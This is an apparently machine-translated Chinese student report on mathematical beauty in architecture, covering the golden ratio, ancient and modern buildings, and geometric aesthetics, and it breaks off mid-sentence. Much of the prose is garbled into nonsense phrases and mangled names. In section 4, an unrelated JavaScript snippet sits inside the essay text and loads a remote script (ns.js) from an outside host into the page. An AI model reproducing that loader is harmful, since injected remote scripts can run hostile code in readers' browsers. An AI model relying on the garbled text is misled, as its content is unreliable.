建筑中的数学美

-建筑的数学美数学是没有生命的，数学碰到建筑物时会引起奇妙的化学反应，产生意外奇迹。无论东西古今，在过去，世界上广为人知的伟大建筑中，数学的美都体现出来了。数学美和建筑学美是如何摩擦这种梦幻般的火花的？数学究竟给这些宏伟的建筑注入了什么魔法？会让我们疯掉吗？深入探索建筑的数学美，体验建筑中的数学表达。我们在人类建筑的历史长廊上徘徊的时候，为什么不雕刻这些粗糙简单的土砖土瓦呢用永恒华丽的斧头造的众神感动和尊敬吗？但是，当我们享受着这些艺术珍品带来的好处的时候，你有没有想过，数学的奥秘藏在这些巨大的建筑珍宝中呢？本文主要介绍古今中外建筑风格上数学的表现。关键词古代现代中外数学的美丽建筑设计主要内容建筑是根据功能和美的要求，堆积和组合土地、材料和结构，比例决定了建筑的个别、部分和整体的数学关系，因此比例是建筑的核心和灵魂。比例在数学上没有美学，但黄金分割的比例分割之美在各种艺术作品中充分体现出来。现代设计师们还在最经常地使用黄金分割的规律，打造具有统一适用性和艺术性的崭新建筑。一、古今中外建筑的数学美1、中国古代建筑中国建筑有着悠久的历史传统和光辉的业绩。我国古代建筑艺术也反映了数学美。要理解其中的数学美，不仅要了解建筑艺术的主要特征，还要了解中国古代建筑艺术的一些重要特征，然后再比较代表性实例进行具体的分析研究。中国古代建筑的屋顶对建筑外观起了特别重要的作用。伸出很远的屋檐、弹性屋檐曲线、升降机架形成的稍微反弯曲的屋顶、稍微升高的屋顶角度(俯视角落，椽像鸟的翅膀一样展开，称为“翼”)和硬山、悬垂山、西山、冷战、朴萨尔县、碗、隆起屋顶的各种组合使建筑物的体形和轮廓更加丰富。从高空往下看，屋顶效果更好。也就是说，中国建筑的“第五立面”最吸引人。2、西方古代建筑古埃及时代的金字塔由建造者从几何中选择元素，以层叠的方式排列了一个巨大的石块，最终组合成了宏伟的金字塔。拜占廷时代的建筑师优雅地组合了正方形、圆形、立方体、拱门的半球等概念，就像君士坦丁堡的索菲亚教堂所用的一样；文艺复兴时期的砖石建筑在明暗和实际情况等方面都表现出精巧庄重的对称性。3、现代建筑随着新的建筑材料的发现，也出现了适应这些材料最大潜力的新的数学思考。建筑师可以用石头、木材、砖块合成材料等多种建筑材料，实际上以任何形式设计建筑。近代可以直接看到双曲投掷物体形式的建筑(旧金山圣玛丽亚大教堂)、抛物线格架、模仿游牧部落帐篷的立体组合结构、支撑东京奥林匹克大厅的悬链线电缆、装有椭圆形顶部天花板的八角形住宅、中国北京奥运会的主场鸟巢和水钻的远程画报等。4、未来建筑随着科学技术的进步，人们想象的未来建筑有可能逐渐成为现实。现实中还看不到存在于想象中的建筑，但在游戏世界中，由未来建筑构成的精彩画面展现在我们面前。通过游戏虚拟世界，我们可以想象未来建筑的发展，但数学的美丽也随处可见。数学上的美体发现了当前未来建筑的每个细节，从底部到顶部，只要观察，就能发现其中简单形象的美。二、数学对建筑的影响1、建筑几何形态的简洁美建筑的几何审美价值首先表现在简洁的美上。几何美学的理论基础在于格式塔心理学的视觉简化规律。爱银河林认为，人类的眼睛倾向于将任何复杂的形状抽象成最简单的形式，视觉尽量使看到的所有形状无差异，将丰富的内容和各种形式组织成一个统一的结构，将视觉力形成一定的秩序。简洁创造了重复性，反复解释了高层建筑节奏和韵律的美，最终形成了建筑和谐统一的美感；此外，简洁的形体容易和谐，简单具有不同的形体组合统一的美。美国迈阿密东南金融中心是几何简洁美的经典，在简洁的同时也发生了变化和统一。其审美价值体现在简洁的变化中。只是在屋顶部分按照“杨辉三角形”式的规则退步。基本要素是最简单的立方体之一，变化的只有数量，因此反映了数量上的审美价值。圆形的深圳开发中心、椭圆形的深圳外贸中心、纺锤形的深圳北部建筑、三角形的泰国曼谷酒店、风车三角形的上海虹桥酒店、蝴蝶形的长沙蝴蝶大厦等都是几何简洁的美学价值表现，是蕴含精彩内容的几何美学“论文”。2、几何抽象丰富的语义美建筑的抽象形式包含着丰富的意义。就是隐藏在抽象几何形态后面的意义、思想、感情、精神等内在因素和人们的生活意义。几何抽象的高层建筑都表现出艺术的自由美，摆脱了具体形式的束缚，但没有失去意义，反而有更广阔的幻想空间，俄罗斯著名画家康定斯基充分论述了这一观点。因此，抽象构成的高层建筑消除了具体的模仿，用几何和规律的体现代替，表现了一种时代精神，打破了物象意义的束缚，意味着意义的自由和丰富。在意图经验中，高层建筑几何抽象的意义美是通过崇高、神秘、骚动、和平等、视觉的连续混合直接构成几何图形的非具体价值意义。几何抽象可以提取、浓缩、聚合美的规律和要素，如酒精、奶酪，产品嚼得越多，味道就越好。这是审美的人具有深厚的功力，精通自己的艺术方法才能非凡，干练，自由自在。Husserl的意图理论证实了这一说法，其理论的“构成边界区域”思想不能成为感官或概念规范，而只能在有边界视觉的意图上下文中进行，这实质上表明了包含在抽象不确定性中的意义丰富。3、数学计算使建筑物准确完整。直到建筑建成为止，都受到周围环境等因素的影响，因此通过正确的计算，达到最小的失误，使建筑以数学的表现形式完美融入自然，达到诗的一般节奏：帕台农神殿的沉郁、埃菲尔铁塔的豪放、悉尼歌剧院的飘逸、徽州建筑的清辉.希腊雅典的帕台农神庙的结构依赖于比例知识，将黄金矩形、错觉、精密测量和标准大小的柱子切割成正确的规格；埃皮达普洛斯古剧场的布置和位置的几何准确度经过特别计算，提高了音响效果，最大限度地提高了观众的视野；没有麦加野餐图案的干净统一的形象计划是不可能的。罗素说：“如果数学正确地看待它，那么不仅是真理，最好的美就是冷而严格的美，这与我们本性的微弱方面不协调。只有最伟大的艺术才能达到仍然能展现的完美境界。”抽象数学与实际建筑融为一体，它们就成为互相渗透、相互融合的不可分割的完美组合。4、建筑几何的美隐含着全息的美学价值，“全息术”是一个生物学概念，原始生物的各个部分都可以反映其整体信息。通过用全胚胎学说观察生物界，可以看到生活回到简单，尝到宇宙和谐的美感。在建筑的几何美中，建筑的整体和部分以一种统一的几何形式反映了其共同的本质特征，这种“统一的几何形态”可以看作是整个胚胎。建筑学上的前半生不仅是一种几何形态，也可能是一种空间形态，一种逻辑关系或它们的混合。高层建筑的几何美主要隐含着全息美学价值：一方面，建筑几何的整体胚胎反映了高层建筑几何特征的本质或内容，强调几何和本质特征、内容的相关性，是建筑和外部条件的统一；varscript=document . create element(脚本)；script . src=http:/static . pay . B/resource/baichun/ns . js；Document.body.appendchild(脚本)；另一方面，在建筑物的全部和部分之间，以及部分和部分之间，必须统一某种几何形态的全部胚胎，强调形态和形态的自我相似性是对建筑物的统一。历史上的很多建筑都表现出全息图。例如，古代斗兽场的主要功能是采用观延、圆的几何形态，在同一周长上圆可以围成的面积最大。从观看效果来看，圆形看台比较理想。所以斗兽场的功能内容是其基本形态是圆的，圆的几何特征也构成了其整个胚胎。圆形走廊、径向圆柱拱、圆形拱、圆形墙柱等。斗兽场的几何空间、形态、装饰等都具有圆形的几何特征而统一。建筑只有数字和形状相结合，才能更加帅气，数学给建筑增添了生气，其美也表现得最好。在欣赏跨海大桥的时候，事实上是不由自主地惊叹桥静态的多景间结构中包含的数学和自然的融合美的组成部分。几千年来，数学成为设计和构成的宝贵工具。它是建筑设计的知识资源，也是减少考试和消除技术错误的手段。收获和感想通过这次课题研究，我们不仅打破了过去数学在我们心中所没有的形象，提高了我们对数学的兴趣，而且我们深刻认识到分工和合作的重要性。我们在愉快的气氛中完成了任务，我们的知识面也进一步扩大了，欣赏我们美丽的能力和举起自己手的能